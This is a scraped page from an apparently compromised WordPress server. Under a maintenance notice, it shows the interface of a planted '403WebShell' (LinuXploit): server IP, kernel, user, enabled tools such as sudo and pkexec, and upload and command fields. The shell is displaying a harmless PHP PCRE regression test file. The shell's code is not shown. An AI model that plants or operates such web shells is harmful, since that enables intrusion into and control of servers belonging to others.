WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/pcre/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/pcre/tests/bug61780_1.phpt
--TEST--
Bug #61780 (Inconsistent PCRE captures in match results): numeric subpatterns
--FILE--
<?php
preg_match('/(4)?(2)?\d/', '23456', $matches, PREG_UNMATCHED_AS_NULL);
var_export($matches);
echo "\n\n";
preg_match('/(4)?(2)?\d/', '23456', $matches, PREG_OFFSET_CAPTURE | PREG_UNMATCHED_AS_NULL);
var_export($matches);
echo "\n\n";
preg_match_all('/(4)?(2)?\d/', '123456', $matches, PREG_UNMATCHED_AS_NULL);
var_export($matches);
echo "\n\n";
preg_match_all('/(4)?(2)?\d/', '123456', $matches, PREG_OFFSET_CAPTURE | PREG_UNMATCHED_AS_NULL);
var_export($matches);
echo "\n\n";
preg_match_all('/(4)?(2)?\d/', '123456', $matches, PREG_SET_ORDER | PREG_UNMATCHED_AS_NULL);
var_export($matches);
echo "\n\n";
preg_match_all('/(4)?(2)?\d/', '123456', $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE | PREG_UNMATCHED_AS_NULL);
var_export($matches);
?>
--EXPECT--
array (
  0 => '23',
  1 => NULL,
  2 => '2',
)

array (
  0 => 
  array (
    0 => '23',
    1 => 0,
  ),
  1 => 
  array (
    0 => NULL,
    1 => -1,
  ),
  2 => 
  array (
    0 => '2',
    1 => 0,
  ),
)

array (
  0 => 
  array (
    0 => '1',
    1 => '23',
    2 => '45',
    3 => '6',
  ),
  1 => 
  array (
    0 => NULL,
    1 => NULL,
    2 => '4',
    3 => NULL,
  ),
  2 => 
  array (
    0 => NULL,
    1 => '2',
    2 => NULL,
    3 => NULL,
  ),
)

array (
  0 => 
  array (
    0 => 
    array (
      0 => '1',
      1 => 0,
    ),
    1 => 
    array (
      0 => '23',
      1 => 1,
    ),
    2 => 
    array (
      0 => '45',
      1 => 3,
    ),
    3 => 
    array (
      0 => '6',
      1 => 5,
    ),
  ),
  1 => 
  array (
    0 => NULL,
    1 => 
    array (
      0 => NULL,
      1 => -1,
    ),
    2 => 
    array (
      0 => '4',
      1 => 3,
    ),
    3 => NULL,
  ),
  2 => 
  array (
    0 => NULL,
    1 => 
    array (
      0 => '2',
      1 => 1,
    ),
    2 => NULL,
    3 => NULL,
  ),
)

array (
  0 => 
  array (
    0 => '1',
  ),
  1 => 
  array (
    0 => '23',
    1 => NULL,
    2 => '2',
  ),
  2 => 
  array (
    0 => '45',
    1 => '4',
  ),
  3 => 
  array (
    0 => '6',
  ),
)

array (
  0 => 
  array (
    0 => 
    array (
      0 => '1',
      1 => 0,
    ),
  ),
  1 => 
  array (
    0 => 
    array (
      0 => '23',
      1 => 1,
    ),
    1 => 
    array (
      0 => NULL,
      1 => -1,
    ),
    2 => 
    array (
      0 => '2',
      1 => 1,
    ),
  ),
  2 => 
  array (
    0 => 
    array (
      0 => '45',
      1 => 3,
    ),
    1 => 
    array (
      0 => '4',
      1 => 3,
    ),
  ),
  3 => 
  array (
    0 => 
    array (
      0 => '6',
      1 => 5,
    ),
  ),
)

Youez - 2016 - github.com/yon3zu
LinuXploit